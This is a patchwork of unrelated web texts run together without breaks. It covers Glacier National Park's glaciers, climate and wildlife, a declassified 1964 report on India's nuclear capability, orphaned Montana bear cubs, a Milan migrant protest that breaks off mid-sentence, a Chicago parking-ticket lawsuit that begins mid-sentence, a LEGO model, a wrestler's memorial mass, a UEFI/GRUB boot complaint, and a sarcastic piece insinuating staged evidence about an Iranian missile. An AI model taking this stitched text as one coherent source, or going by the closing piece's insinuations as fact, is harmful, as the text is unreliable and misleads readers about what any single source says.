During the middle of the 20th century, examination of the maps and photographs from the previous century provided clear evidence that the 150 glaciers known to have existed in the park a hundred years earlier had greatly retreated, and in many cases disappeared altogether.[50] Repeat photography of the glaciers, such as the pictures taken of Grinnell Glacier between 1938 and 2009 as shown, help to provide visual confirmation of the extent of glacier retreat.
1938 1981 1998 2009
In the 1980s, the U.S. Geological Survey began a more systematic study of the remaining glaciers, which has continued to the present day. By 2010, 37 glaciers remained, but only 25 of these were considered to be "active glaciers" of at least 25 acres (0.10 km2) in area.[4][50] The National Park Service warns that if the current warming trend continues, the park's remaining glaciers will be gone by 2030.[5] This glacier retreat follows a worldwide pattern that has accelerated even more since 1980. Without a major climatic change in which cooler and moister weather returns and persists, the mass balance, which is the accumulation rate versus the ablation (melting) rate of glaciers, will continue to be negative and the glaciers have been projected to eventually disappear, leaving behind only barren rock.[51]
After the end of the Little Ice Age in 1850, the glaciers in the park retreated moderately until the 1910s. Between 1917 and 1941, the retreat rate accelerated and was as high as 330 feet (100 m) per year for some glaciers.[50] A slight cooling trend from the 1940s until 1979 helped to slow the rate of retreat and, in a few cases, even advanced the glaciers over ten meters. However, during the 1980s, the glaciers in the park began a steady period of loss of glacial ice, which continues as of 2010. In 1850, the glaciers in the region near Blackfoot and Jackson Glaciers covered 5,337 acres (21.6 km2), but by 1979, the same region of the park had glacier ice covering only 1,828 acres (7.4 km2). Between 1850 and 1979, 73% of the glacial ice had melted away.[52] At the time the park was created, Jackson Glacier was part of Blackfoot Glacier, but the two have separated into individual glaciers since.[53]
The impact of glacier retreat on the park's ecosystems is not fully known, but plant and animal species that are dependent on cold water could suffer due to a loss of habitat. Reduced seasonal melting of glacial ice may also affect stream flow during the dry summer and fall seasons, reducing water table levels and increasing the risk of forest fires. The loss of glaciers will also reduce the aesthetic visual appeal that glaciers provide to visitors.[52]
Climate [ edit ]
As the park spans the Continental Divide, and has more than 7,000 feet (2,100 m) in elevation variance, many climates and microclimates are found in the park. As with other alpine systems, average temperature usually drops as elevation increases.[54] The western side of the park, in the Pacific watershed, has a milder and wetter climate, due to its lower elevation. Precipitation is greatest during the winter and spring, averaging 2 to 3 inches (50 to 80 mm) per month. Snowfall can occur at any time of the year, even in the summer, and especially at higher altitudes. The winter can bring prolonged cold waves, especially on the eastern side of the Continental Divide, which has a higher elevation overall.[55] Snowfalls are significant over the course of the winter, with the largest accumulation occurring in the west. During the tourist season, daytime high temperatures average 60 to 70 °F (16 to 21 °C), and nighttime lows usually drop into the 40 °F (4 °C) range. Temperatures in the high country may be much cooler. In the lower western valleys, daytime highs in the summer may reach 90 °F (30 °C).[56]
Rapid temperature changes have been noted in the region. In Browning, Montana, just east of the park in the Blackfeet Reservation, a world record temperature drop of 100 °F (56 °C) in only 24 hours occurred on the night of January 23–24, 1916, when thermometers plunged from 44 to −56 °F (7 to −49 °C).[57]
Glacier National Park has a highly regarded global climate change research program. Based in West Glacier, with the main headquarters in Bozeman, Montana, the U.S. Geological Survey has performed scientific research on specific climate change studies since 1992. In addition to the study of the retreating glaciers, research performed includes forest modeling studies in which fire ecology and habitat alterations are analyzed. Additionally, changes in alpine vegetation patterns are documented, watershed studies in which stream flow rates and temperatures are recorded frequently at fixed gauging stations, and atmospheric research in which UV-B radiation, ozone and other atmospheric gases are analyzed over time. The research compiled contributes to a broader understanding of climate changes in the park. The data collected, when compared to other facilities scattered around the world, help to correlate these climatic changes on a global scale.[58][59]
Glacier is considered to have excellent air and water quality. No major areas of dense human population exist anywhere near the region and industrial effects are minimized due to a scarcity of factories and other potential contributors of pollutants.[60] However, the sterile and cold lakes found throughout the park are easily contaminated by airborne pollutants that fall whenever it rains or snows, and some evidence of these pollutants has been found in park waters. Wildfires could also impact the quality of water. However, the pollution level is currently viewed as negligible, and the park lakes and waterways have a water quality rating of A-1, the highest rating given by the state of Montana.[61]
Climate data for Glacier National Park, elev. 3,154 feet (961 m) Month Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec Year Record high °F (°C) 55
(13) 58
(14) 66
(19) 83
(28) 90
(32) 93
(34) 99
(37) 99
(37) 95
(35) 79
(26) 65
(18) 52
(11) 99
(37) Average high °F (°C) 30.5
(−0.8) 35.0
(1.7) 43.2
(6.2) 54.0
(12.2) 64.5
(18.1) 71.7
(22.1) 80.0
(26.7) 79.3
(26.3) 67.5
(19.7) 52.3
(11.3) 37.3
(2.9) 28.8
(−1.8) 53.8
(12.1) Average low °F (°C) 18.3
(−7.6) 18.9
(−7.3) 24.6
(−4.1) 30.6
(−0.8) 38.0
(3.3) 44.3
(6.8) 48.5
(9.2) 47.1
(8.4) 39.3
(4.1) 32.0
(0.0) 25.5
(−3.6) 17.8
(−7.9) 32.1
(0.1) Record low °F (°C) −35
(−37) −32
(−36) −30
(−34) 3
(−16) 13
(−11) 24
(−4) 31
(−1) 26
(−3) 18
(−8) −3
(−19) −29
(−34) −36
(−38) −36
(−38) Average precipitation inches (mm) 3.23
(82) 1.98
(50) 2.08
(53) 1.93
(49) 2.64
(67) 3.47
(88) 1.70
(43) 1.30
(33) 2.05
(52) 2.49
(63) 3.27
(83) 3.01
(76) 29.15
(739) Average snowfall inches (cm) 29.5
(75) 16.8
(43) 13.6
(35) 2.9
(7.4) 0.3
(0.76) 0.0
(0.0) 0.0
(0.0) 0.0
(0.0) 0.0
(0.0) 1.7
(4.3) 17.9
(45) 34.3
(87) 117
(297.46) Average precipitation days (≥ 0.01 in) 16.5 12.9 13.5 12.1 14.0 14.7 9.5 7.8 9.4 12.4 16.2 16.5 155.5 Average snowy days (≥ 0.1 in) 12.6 8.3 5.8 1.8 0.3 0.0 0.0 0.0 0.0 0.8 6.9 13.4 49.9 Source #1: NOAA (normals, 1981–2010)[62] Source #2: Western Regional Climate Center (extremes 1949–present)[63]
Wildlife and ecology [ edit ]
Flora [ edit ]
Beargrass is a tall flowering plant commonly found throughout the park.
Glacier is part of a large preserved ecosystem collectively known as the "Crown of the Continent Ecosystem", all of which is primarily untouched wilderness of a pristine quality. Virtually all the plants and animals which existed at the time European explorers first entered the region are present in the park today.[64]
A total of over 1,132 plant species have been identified parkwide.[65] The predominantly coniferous forest is home to various species of trees such as the Engelmann spruce, Douglas fir, subalpine fir, limber pine and western larch, which is a deciduous conifer, producing cones but losing its needles each fall. Cottonwood and aspen are the more common deciduous trees and are found at lower elevations, usually along lakes and streams.[54] The timberline on the eastern side of the park is almost 800 feet (244 m) lower than on the western side of the Continental Divide, due to exposure to the colder winds and weather of the Great Plains. West of the Continental Divide, the forest receives more moisture and is more protected from the winter, resulting in a more densely populated forest with taller trees. Above the forested valleys and mountain slopes, alpine tundra conditions prevail, with grasses and small plants eking out an existence in a region that enjoys as little as three months without snow cover.[66] Thirty species of plants are found only in the park and surrounding national forests.[65] Beargrass, a tall flowering plant, is commonly found near moisture sources, and is relatively widespread during July and August. Wildflowers such as monkeyflower, glacier lily, fireweed, balsamroot and Indian paintbrush are also common.
The forested sections fall into three major climatic zones. The west and northwest are dominated by spruce and fir and the southwest by redcedar and hemlock; the areas east of the Continental Divide are a combination of mixed pine, spruce, fir and prairie zones. The cedar-hemlock groves along the Lake McDonald valley are the easternmost examples of this Pacific climatic ecosystem.[67]
Whitebark pine communities have been heavily damaged due to the effects of blister rust, a non native fungus. In Glacier and the surrounding region, 30% of the whitebark pine trees have died and over 70% of the remaining trees are currently infected. The whitebark pine provides a high fat pine cone seed, commonly known as the pine nut, that is a favorite food of red squirrels and Clark's nutcracker. Both grizzlies and black bears are known to raid squirrel caches of pine nuts, one of the bears' favorite foods. Between 1930 and 1970, efforts to control the spread of blister rust were unsuccessful, and continued destruction of whitebark pines appears likely, with attendant negative impacts on dependent species.[68]
Fauna [ edit ]
[35] About 300 grizzly bears live in the park as of 2008.
Virtually all the historically known plant and animal species, with the exception of the bison and woodland caribou, are still present, providing biologists with an intact ecosystem for plant and animal research. Two threatened species of mammals, the grizzly bear and the lynx,[note 1] are found in the park.[35] Although their numbers remain at historical levels, both are listed as threatened because in nearly every other region of the U.S. outside of Alaska, they are either extremely rare or absent from their historical range. On average, one or two bear attacks on humans occur each year; since the creation of the park in 1910, there have been a total of 10 bear-related deaths.[72] The number of grizzlies and lynx in the park is not known for certain, but park biologists believed as of 2008 that there were just above 300 grizzlies in the park; a study which commenced in 2001 hopes to determine the number of lynx.[35][73] The exact population figures for grizzlies and the smaller black bear are not known but biologists are using a variety of methods to try to determine an accurate population range.[74] Another study has indicated that the wolverine, another very rare mammal in the lower 48 states, also lives in the park.[75] Other mammals such as the mountain goat (the official park symbol), bighorn sheep, moose, elk, mule deer, skunk, white-tailed deer, bobcat, coyote, and cougar are either plentiful or common.[76] Unlike in Yellowstone National Park, which implemented a wolf reintroduction program in the 1990s, it is believed that wolves recolonized Glacier National Park naturally during the 1980s.[77] Sixty-two species of mammals have been documented including badger, river otter, porcupine, mink, marten, fisher, two species of marmots, six species of bats, and numerous other small mammals.[76]
A total of 260 species of birds have been recorded, with raptors such as the bald eagle, golden eagle, peregrine falcon, osprey and several species of hawks residing year round.[78] The harlequin duck is a colorful species of waterfowl found in the lakes and waterways. The great blue heron, tundra swan, Canada goose and American wigeon are species of waterfowl more commonly encountered in the park. Great horned owl, Clark's nutcracker, Steller's jay, pileated woodpecker and cedar waxwing reside in the dense forests along the mountainsides, and in the higher altitudes, the ptarmigan, timberline sparrow and rosy finch are the most likely to be seen.[78][79] The Clark's nutcracker is less plentiful than in past years due to the decline in the number of whitebark pines.[68]
Because of the colder climate, ectothermic reptiles are all but absent, with two species of garter snake and the western painted turtle being the only three reptile species proven to exist.[80] Similarly, only six species of amphibians are documented, although those species exist in large numbers. After a forest fire in 2001, a few park roads were temporarily closed the following year to allow thousands of western toads to migrate to other areas.[81]
A total of 23 species of fish reside in park waters, and native game fish species found in the lakes and streams include the westslope cutthroat trout, northern pike, mountain whitefish, kokanee salmon and Arctic grayling. Glacier is also home to the threatened bull trout, which is illegal to possess and must be returned to the water if caught inadvertently.[82] Introduction in previous decades of lake trout and other non-native fish species has greatly impacted some native fish populations, especially the bull trout and west slope cutthroat trout.[83]
Fire ecology [ edit ]
Wildfires burned 13% of the park in 2003.
Forest fires were viewed for many decades as a threat to protected areas such as forests and parks. As a better understanding of fire ecology developed after the 1960s, forest fires were understood to be a natural part of the ecosystem. The earlier policies of suppression resulted in the accumulation of dead and decaying trees and plants, which would normally have been reduced had fires been allowed to burn. Many species of plants and animals actually need wildfires to help replenish the soil with nutrients and to open up areas that allow grasses and smaller plants to thrive.[84] Glacier National Park has a fire management plan which ensures that human-caused fires are generally suppressed. In the case of natural fires, the fire is monitored and suppression is dependent on the size and threat the fire may pose to human safety and structures.[85]
Increased population and the growth of suburban areas near parklands, has led to the development of what is known as Wildland Urban Interface Fire Management, in which the park cooperates with adjacent property owners in improving safety and fire awareness. This approach is common to many other protected areas. As part of this program, houses and structures near the park are designed to be more fire resistant. Dead and fallen trees are removed from near places of human habitation, reducing the available fuel load and the risk of a catastrophic fire, and advance warning systems are developed to help alert property owners and visitors about forest fire potentials during a given period of the year.[86] Glacier National Park has an average of 14 fires with 5,000 acres (20 km2) burnt each year.[87] In 2003, 136,000 acres (550 km2) burned in the park after a five-year drought and a summer season of almost no precipitation. This was the most area transformed by fire since the creation of the park in 1910.[6]
Recreation [ edit ]
Glacier is distant from major cities. The closest airport is in Kalispell, Montana, southwest of the park. Amtrak trains stop at East and West Glacier, and Essex. A fleet of restored 1930s White Motor Company coaches, called Red Jammers, offer tours on all the main roads in the park. The drivers of the buses are called "Jammers", due to the gear-jamming that formerly occurred during the vehicles' operation. The tour buses were rebuilt in 2001 by Ford Motor Company. The bodies were removed from their original chassis and built on modern Ford E-Series van chassis.[88] They were also converted to run on propane to lessen their environmental impact.[89]
Historic wooden tour boats, some dating back to the 1920s, operate on some of the larger lakes. Several of these boats have been in continuous seasonal operation at Glacier National Park since 1927 and carry up to 80 passengers.[90] Three of these decades-old boats were added to the National Register of Historic Places in January 2018.[91]
Hiking is popular in the park. Over half of the visitors to the park report taking a hike on the park's nearly 700 miles (1,127 km) of trails.[92] 110 miles (177 km) of the Continental Divide National Scenic Trail spans most of the distance of the park north to south, with a few alternative routes at lower elevations if high altitude passes are closed due to snow. The Pacific Northwest National Scenic Trail crosses the park on 52 miles (84 km) from east to west.
Dogs are not permitted on any trails in the park due to the presence of bears and other large mammals. Dogs are permitted at front country campsites that can be accessed by a vehicle and along paved roads.
Anyone entering the United States over land or waterway from Canada must have a passport with them.[93]
Many day hikes can be taken in the park. Back-country camping is allowed at campsites along the trails. A permit is required and can be obtained from certain visitor centers or arranged for in advance. Much of Glacier's back country is usually inaccessible to hikers until early June due to accumulated snow pack and avalanche risk, and many trails at higher altitudes remain snow packed until July.[94] Campgrounds that allow vehicle access are found throughout the park, most of which are near one of the larger lakes. The campgrounds at St. Mary and at Apgar are open year-round, but conditions are primitive in the off-season, as the restroom facilities are closed and there is no running water. All campgrounds with vehicle access are usually open from mid-June until mid-September.[95] Guide and shuttle services are also available.
Climbers descend from the ridge of Dragon's Tail near Logan Pass
The park attracts many climbers though the rock quality is old and loose in the Lewis Overthrust fault structure. The seminal literature on climbing in the park, A Climber's Guide to Glacier National Park, was written by J. Gordon Edwards in 1961, with the latest edition published in 1995. The Glacier Mountaineers Society sponsors climbing in the park, issuing awards to those climbers who summit all 10,000 ft (3,000 m) peaks or all five technical peaks.[96]
Some of the finest fly fishing in North America can be found in the streams that flow through Glacier National Park. No permit is required to fish in park waters. The threatened bull trout must be released immediately back to the water if caught; otherwise, the regulations on limits of catch per day are liberal.[97]
Winter recreation in Glacier is limited. Snowmobiling is illegal throughout the park. Cross-country skiing is permitted in the lower altitude valleys away from avalanche zones.[98]
See also [ edit ]
Media related to Glacier National Park at Wikimedia Commons (image gallery)
Notes [ edit ]
References [ edit ]The US intelligence community had concluded as early as 1964, that India was in a position to develop nuclear weapons, a declassified State Department report said, citing frequent change of the fuel core of the Canada-supplied reactor at Trombay.
“The Indians are now in a position to begin nuclear weapons development if they chose to do so. We have no evidence, however, of a weapon research and development programme and would expect to see some if the programme existed,” the State Department Bureau of Intelligence and Research (INR) said in a report on May 14, 1964.
The report along with several others was published on Wednesday by the National Security Archive and the Nuclear Proliferation International History Project.
Noting that the fuel core of the Canadian-Indian Reactor (CIR) at Trombay was being changed every six months, the US intelligence report had raised questions about India’s nuclear objectives.
It said a six-month period was quite short for “normal research reactor operations,” but it was the optimum time for using the CIR’s spent fuel for producing weapons grade plutonium.
The report said the Canadians had not established specific safeguards when they made the reactor available to India thus giving the Indians a free hand in using the newly-built Phoenix plutonium separation plant to produce the fissile material.
According to the State Department report, “India’s leadership might have had nationalistic motives for building the Phoenix plant but if it wanted a nuclear weapons capability it would seek such a capability”.
INR report said it had no “direct evidence” of an Indian weapons programme and believed it was “unlikely” that India had made a decision to build a bomb.
Nevertheless, it was “probably no accident” that “everything the Indians (had) done so far would be compatible with a weapons programme if at some future date it appeared desirable to start one.”
According to INR, India had taken the “first deliberate decision in the series leading to a nuclear weapon,” which was to have “available, on demand, unsafeguarded weapons-grade plutonium or, at the least, the capacity to produce it.”
The report said that a scholar characterised this as India’s “proliferation drift, the slow but sure moves towards the development of nuclear weapons.”
India conducted its first nuclear test in May, 1974.
First Published: May 19, 2016 12:57 ISTTwo black bear cubs, just months old and weighing about 5 pounds, were rescued by Montana Fish, Wildlife and Parks after being orphaned when their mother was struck by a vehicle. (Photo11: Photo by Brady Murphy)
GREAT FALLS, Mont. — A Montana Fish, Wildlife and Parks game warden located two orphaned 5-pound black bear cubs Wednesday in their den, likely saving their lives.
The mother of the cubs was struck and killed by a vehicle on Highway 200 near Rogers Pass late Tuesday afternoon.
Game wardens had located the den of the three bears Tuesday evening, but the surviving cubs were not in it, said Brady Murphy, a FWP game warden based in Augusta.
“I just went back this morning and thought I’d go check, and there they were,” Murphy said Wednesday afternoon.
Related:
The collision occurred on Highway 200 three miles east of Rogers Pass.
The den was located about a quarter of a mile away on the edge of Helena-Lewis and Clark National Forest.
“They were pretty docile,” Murphy said.
He picked them up and put them in a carrier, he said.
Instinct probably enabled the cubs to find their way back to the den, Murphy said. The den also was not far from the location of the accident, he noted.
The cubs were transported to the Montana Wildlife Center in Helena.
The center rehabilitates orphaned wildlife for the purpose of release back to the wild, said Ron Aasheim, an FWP spokesman.
“They fatten up in a hurry,” Aasheim said.
Typically, orphaned cubs are released in the spring or the fall, and a chip is placed in them so they can be tracked, Aasheim said.
Two orphaned black bear cubs were discovered in this den above Highway 200 (Photo11: Photo by Brady Murphy)
Both hard and soft releases occur. A soft release is when cubs are put in a den during the winter. Then the bears wake up in their natural environment.
The release program has been “remarkably successful,” Aasheim said.
The number of orphaned black bear cubs ranges from five or six a year to as many as 25, Aasheim said.
Murphy suspects the three bears were crossing the highway to get a drink in a river when the vehicle struck the mother.
The cubs, just a few months old, were in good shape.
“I’m sure they’re hungry,” Murphy said. “They’d been without mama for a while.”
Mike Madel, an FWP bear management specialist, said Wednesday morning that the cubs had little chance for survival on their own.
The mother bear that was struck and killed was young and small, Madel said.
The driver of the vehicle was not injured, said Capt. Brent Colbert of the Lewis and Clark County Sheriff’s Office.
Over the years, a number of animals, especially black bears, have been struck by vehicles along that stretch of Highway 200, which passes through national forest land, Madel said.
There are an estimated 13,500 black bears in Montana, according to FWP.
Follow Karl Puckett on Twitter: @GFTrib_KPuckett
CLOSE Dental treatment by the best vets, open air and fresh fish instead of dubious leftovers and abuse -- life has changed markedly for brown bears rescued from Ukrainian circuses and restaurants and given a second lease of life in the city of Zhytomyr. Video provided by AFP Newslook
Read or Share this story: http://usat.ly/2pETGQJMILAN (Reuters) - Hundreds of migrants scuffled with police and briefly blocked a major road in Italy’s financial capital Milan on Monday in a protest against their living conditions and their long wait for authorization to seek work.
Chanting “documents, documents,” around 300 migrants held up traffic on a main route into the city, with riot police called in to push the men back into their near-by temporary camp, where they are awaiting registration and identity papers.
The protesters came primarily from Africa. “This home is not good, this home is not good,” one of the |
and dilapidated condition, no city sticker, broken headlights, missing or cracked windows, expired plates, being an abandoned vehicle, and, most importantly, a violation for parking a vehicle for more than 30 days in a city owned lot.
Beyond the $50 fine that comes with that violation, the law also states "Any vehicle parked in violation of this section shall be subjected to an immediate tow and removal to city vehicle pound or authorized garage."
Department of Aviation spokesperson Karen Pride says O'Hare parking policies essentially echo the law. 30 days is the normal maximum a vehicle is allowed to stay parked in any of O'Hare parking lots. Although exceptions can be made for a longer stay if arrangements are made between the driver and Standard Parking.
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"There are signs posted at the entrance to all revenue lots at O'Hare relating the parking policy," says Pride. "If an individual plans to leave a vehicle in a revenue lot for longer than 30 days, he must notify Standard Parking, the lot operators at the airport."
"If a vehicle is in a lot for more than 30 days and Standard Parking was not notified, then the company will try to contact the owner to find out his plans to get the vehicle," Pride further explained. "If Standard cannot contact the owner, then the vehicle is towed to Lot F, where it might remain for 30-90 days, in case the owner comes back for it. After that period, the vehicle is towed to the City impound lot as abandoned."
But despite the legal fact and corresponding airport parking policies which should have seen the car yanked from the lot, airport police continued to ticket the vehicle over and over and over again for a wide range of violations until April 30th, 2012.
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In the nearly two and a half years after the car had been officially designated as an abandoned vehicle by the city it had been ticketed another 677 times.
Fitzgerald's lawsuit argues the vast majority of the tickets would never have been issued if the city had just followed their own law and protocols when the vehicle was first identified as being in violation of the law.
Put On Notice
Fitzgerald finally began getting a whiff there was a serious problem in December, 2009 when the first batch of what would eventually total 391 notices from the Department of Revenue began appearing in her mailbox for the contagion of parking tickets being generated at the airport.
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Fitzgerald, according to the complaint, began trying to rectify the situation in several ways.
First, she and her family pleaded with Preveau to move the car, but to no avail. She wanted to move the vehicle herself but was stymied because she didn't have keys nor could she access the car because she claims it was parked in a secure lot. She enlisted the Chicago Police Department to aide her but the complaint says the investigating officer couldn't obtain access to the lot either.
Fitzgerald asked the Illinois Secretary of State to revoke the vehicle's license plates, which finally occurred September 29, 2010.
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Yet, despite the revocation, the city continued to issue the parking violations to the car for another year and a half.
In the latter part of 2011, Chicago, through their collection agency Arnold, Scott, and Harris, had obtained several judgments against Fitzgerald totaling nearly $21,000 — a mere fraction of the total the city claims she now owes.
Appearing before an Administrative Law Judge to defend herself and hopefully explain the confounding situation, Fitzgerald says she was advised by the ALJ to sign over the title to the vehicle to Preveau in order to shift liability to him, which she promptly did and delivered it to her ex-boyfriend.
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Finally, Some Help
After dealing with this parking ticket nightmare by her lonesome for two years, Fitzgerald finally secured some help this past April in the form of pro-bono legal counsel from attorney Robin Omahana.
When contacted, Omahana declined to comment on the pending matter, or make his client available to discuss her situation, but directed us to his filed complaint.
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Omahana wrote a letter to Arnold Scott Harris to explain the situation and ask for some sort of relief for Fitzgerald. Ultimately, in July, the collection attorneys came back and said Fitzgerald's attempt to transfer the title to Preveau was inadequate and the city would show no mercy for her situation claiming she was indeed liable for the six figures of parking ticket fines.
At that point, Omahana began moving forward to prepare the lawsuit that was filed November 2nd.
Roderick Drew, spokesperson for the city's Law Department, explained that department has not seen the lawsuit yet.
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"The City hasn't yet had a chance to review the lawsuit, so we can't comment at this time," said Drew.
The City Digs In Their Heels
Trying to find out how a situation like this could occur, The Expired Meter contacted the Chicago Police Department, Standard Parking, and further pressed the city's Aviation Department for more insight into how something like this could happen. Each entity was loudly silent on the matter.
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CPD spokesperson Melissa Stratton, after multiple requests by phone and email, has not answered any of The Expired Meter's questions regarding CPD's policies on parking enforcement and towing abandoned vehicles at the airport as of this story's publication. Standard Parking declined to share their thoughts saying their contract with the city forbade the company from commenting on such matters and referred this site back to the Dept. of Aviation for answers.
Pride, the Department of Aviation spokesperson for O'Hare, also did not respond to our followup questions requesting more detailed information in regards to parking enforcement and towing policies at airport lots.
So is the city really planning to collect the enormous sum of money from Fitzgerald?
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"Ms. Fitzgerald may contact the Department of Finance to resolve this matter," answered DOF spokesperson Holly Stutz, punctuating her statement with a breakdown of the number of tickets and notices issued to Fitzgerald and referring us to a Freedom of Information Act option if more information was wanted.
Payment plans are available from the city to pay off larger amounts of parking ticket debt. But when a driver's license has been suspended or the vehicle has been booted in Fitzgerald's case, the city requires at least a 50% down payment and the registered owner is then given one year to pay off the balance. Although in some cases the city will agree to 24 months of payments according to a telephone operator we spoke to at Arnold Scott Harris. But none of these scenarios seem anywhere close to realistic for anyone with such an oppressive amount of debt, let alone a person like Fitzgerald who lacks employment.
What's Next?
In the meantime it seems, according to the city's ticket search website, the abandoned car was booted and Fitzgerald's driver's license has been suspended according to city databases.
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Fitzgerald's lawsuit asks the court to find she was not the owner of the car and therefore not liable for the parking tickets. At worst the filing asks that the city and United Airlines should be responsible for towing the abandoned car from the parking lot on November 17, 2009 and thus no subsequent tickets should have been issued after that date.
The $100,000 parking ticket case will first see the inside of a courtroom in early May of next year.
Just a few days before Fitzgerald's lawsuit was filed but nearly three years after it was first abandoned in that O'Hare parking lot, the car with six figures in parking tickets, was finally towed to a city impound lot at O'Hare on October 26, 2012 according to the city's Find Your Vehicle website.
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The car remains behind the high, razor wired topped chain link fence of the O'Hare auto pound, just a few blocks from where it had forlornly spent the past three years. It's ultimate fate will most likely be the scrapyard.
That is unless someone pays the over $100,000 in parking tickets still owing.
This story originally appeared on The Expired Meter on November 26, 2012, and was republished with permission.
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(Hat Tip to David!)In this model, I have experimented with new techniques, such as sideways sloped pieces on the rocks, and a new type of tree. I am very pleased with the overall result: A wizards sanctuary on top of a floating island! The bottom of the island is sturdy enough to not fall over, and sculpted enough to give the appearance to give the appearance of a floating island.
The simple looking structure on the island was actually the hardest part for me to build, as I had to figure out how to make a nice looking dome from my limited collection of LEGO's.
If you want to know the magic/lore behind this floating island read ahead, if not, then just skip further down. A powerful mixture between the wizards power and the forces inside of the crystal atop the rocks is what keeps this island floating. There are roughly four frogs on this floating island, just for the simple reason that frogs have a natural liking to wizards. No one knows why this is, and so it has been placed on a shelf with all of the other mysteries of their world, such as: Why are we here? Where did we come from? Where are we going? Due to the fact that this world is filled with miserable, mutton-eating folk, (and not a lot of scholars) no one has ever really tried to answer those questions.
The floating island would come with: 1 floating island (batteries not included), 1 wizard, and 4 frogs.
Thank you very much for your potential support, and don't forget to check out my other medieval-themed projects!
-MwesterOIIn today's edition of The Lucha Report, Kris Zellner noted that this past Saturday, a mass was held for Perro Aguayo Jr. at Iglesia de Cristo Rey (Church of Christ the King) in Janitzio, Distrito Federal, Mexico. There were about 100 friends and family members in the church with thousands of fans outside. The service was led by Aguayo's cousin, wrestler El Khan del Mal, and according to R de Rudo's blog, among the other wrestling personalities in attendance were AAA President Marisela Peña, AAA Chief Operating Officer Joaquín Roldán, referee Rafael "El Maya" González, Cibernético, Toscano, Taya Valkyrie, Rocky Santana, Ludark, Douki, and Martha Villalobos.
According to a syndicated article from Notimex published at Esto's website, Peña was one of the guests who spoke during the mass, reflecting on the loss in a pro wrestling context. Roughly translated, she told those gathered that Lucha Libre lost one of its greatest idols of the generation, while El Khan de Mal reflected on how difficult it has been for the Aguayo family to process the loss, much less at a time when Perrito's career was seemingly reaching heights. Khan also singled out the support the family has received from Konnan (who was there) and Rey Mysterio as they've ben grieving. The mass closed with a few songs composed in Aguayo's memory in the aftermath of his death.A Follow-up post is available here since this post has become viral and controversial some how
As I was preparing to head out to the Ubuntu Oregon Ocelot 11.10 Release Party the other night I received a e-mail from a LoCo member in Salem, Oregon who passed on this message and felt it was an important matter to begin discussing:
Recent articles regarding UEFI and Windows 8 suggest the problem of the former blocking Linux bootloader installation is a matter that will appear at the introduction of the latter. That is not the case. It is on Win 7 machines and blocking GRUB installation now. My friend recently got an HP s5-1110 with Win 7 installed. UEFI has prevented the installation of GRUB on this machine. I could find no way in the BIOS to disable the feature and so far, as I work my way up the HP tech support ladder, I have found no HP techs who have a clue what I’m talking about. Just a heads up and a possible topic for discussion at the party. Of course, if anyone has more information on this issue, I’d be glad to hear from you.
The next morning I began looking into UEFI more since I had not done a lot of research but did know it was discovered around the time Windows 8 Developer was released. Anyways Ubuntu has a Community Documentation Article that discusses some workarounds for the UEFI problem and I have personally been considering how greatly the UEFI problem could affect Linux Users. I think there is some positive discussion going on and brainstorming occurring that will allow the Linux community to find reliable workarounds and solutions before UEFI becomes a standard.
Apparently Dell has had UEFI laptops for a while so it is no surprise that a new HP laptop has UEFI by default although with HP doing quite a bit of stuff in the FOSS community I figured they might have provided better support for someone trying to install Linux. Hopefully some sort of legislation will pass that requires manufacturers to list that a certain device is only capable of running a certain OS out of the box and further the whole issue seems very anti-competitive.
Update on Situation as of 4:37 PM Today:
Disturbingly, there were no error messages at all. Neither the Kubuntu installer nor the Boot Repair disk I subsequently tried gave any indication of failure, but the boot partition remained untouched. (I found the Boot Repair disk recommended on the Ubuntu wiki. It is a nice GUI which calls various command line utilities to produce reports on the disk and, of course, grub-install to actually install the bootloader. I must assume that it is, ultimately, grub-install which is failing silently.) The BIOS did have an entry for UEFI, but choosing it produced no response at all. At this point I have found no firmware updates for the system nor anyone at HP who even knows what UEFI is, much less if there is a way around it. I’m sure we all appreciate your efforts getting the word out.One day after Saudi Arabia and Kuwait ordered their citizens to evacuate Lebanon – a move many suggested telegraphed an imminent “military intervention” – the mainstream media has begun building the case for a new mid-east war, one which will involve Iran and Hezbollah (and potentially Russia, not to mention other Shia Muslims) on one hand, and Saudi Arabia and Israel on the other.
For that, it got help from the US Air Force today, and as AP reports this morning, “the ballistic missile fired by Yemeni rebels that targeted the Saudi capital was from Iran and bore “Iranian markings,” the top U.S. Air Force official in the Mideast said Friday.” Lt. Gen. Jeffrey L. Harrigian, who oversees the Air Forces Central Command in Qatar, made the comments at a news conference in Dubai. Predictably, Harrigian declined to offer any specifics on what type of missile they believed it was.
If the narrative sounds familiar, it’s because it is: just as European terrorists conveniently commit suicide and always dutifully bring along their passports so they can be identified, so Iran always makes sure it leaves identifying marks when it illegally sells its weapons to Houthi rebels in Yemen.
No really: after the Nov. 4 strike near Riyadh, Saudi Arabia’s Foreign Ministry said investigators examining the remains of the rocket found evidence proving “the role of Iranian regime in manufacturing them.” It did not elaborate what, though it also mentioned it found similar evidence after a July 22 missile launch. French President Emmanuel Macron similarly this week described the missile as “obviously” Iranian.
Nikki Haley, the U.S. ambassador to the United Nations, said in a statement Tuesday that the July launch involved an Iranian Qiam-1, a liquid-fueled, short-range Scud missile variant. Iran used a Qiam-1 in combat for the first time in June when it targeted Islamic State group militants in Syria over twin militant attacks in Tehran.
The Houthis claimed credit immediately after the launch:
Yemen will destroy Saudi Arabia. Do not stand in our way. pic.twitter.com/UCIVkyICbA — هيكل بافنع (@BaFana3) November 6, 2017
To be sure, this was not the first time the rocket was “found” to be Iranian, and the news first emerged hours after the missile was miraculously intercepted by Saudi counter missiles, and then again earlier this week when U.S. Ambassador to the United Nations Nikki Haley said “information released by Saudi Arabia showed the missile fired in July was an Iranian Qiam, which she described as “a type of weapon that had not been present in Yemen before the conflict.”
Haley said that by providing weapons to the Houthis, Iran’s Islamic Revolutionary Guard Corps had violated two U.N. resolutions on Yemen and Iran. She said a missile shot down over Saudi Arabia on Saturday “may also be of Iranian origin.”
“We encourage the United Nations and international partners to take necessary action to hold the Iranian regime accountable for these violations,” Haley said. It was not immediately clear what action the United States was calling for.
The fact that the story of “Iran’s missile” made the mainstream media for the third time in one week, is just another indication that this story is meant to remain fresh in the mind of the public, even though – as AP reported – there was no elaboration or evidence actually disclosed to the public.
Trivial (lack of) details aside, Harrigian said authorities were investigating how the missile was smuggled into Yemen amid a Saudi-led coalition controlling the country’s airspace, ports, and borders. What authorities will find is that Iran was in breach of a variety of embargos, and further violated the nuclear deal, giving the democratic western media just the right amount of justification to root for Saudi Arabia and Israel when the next war begins.
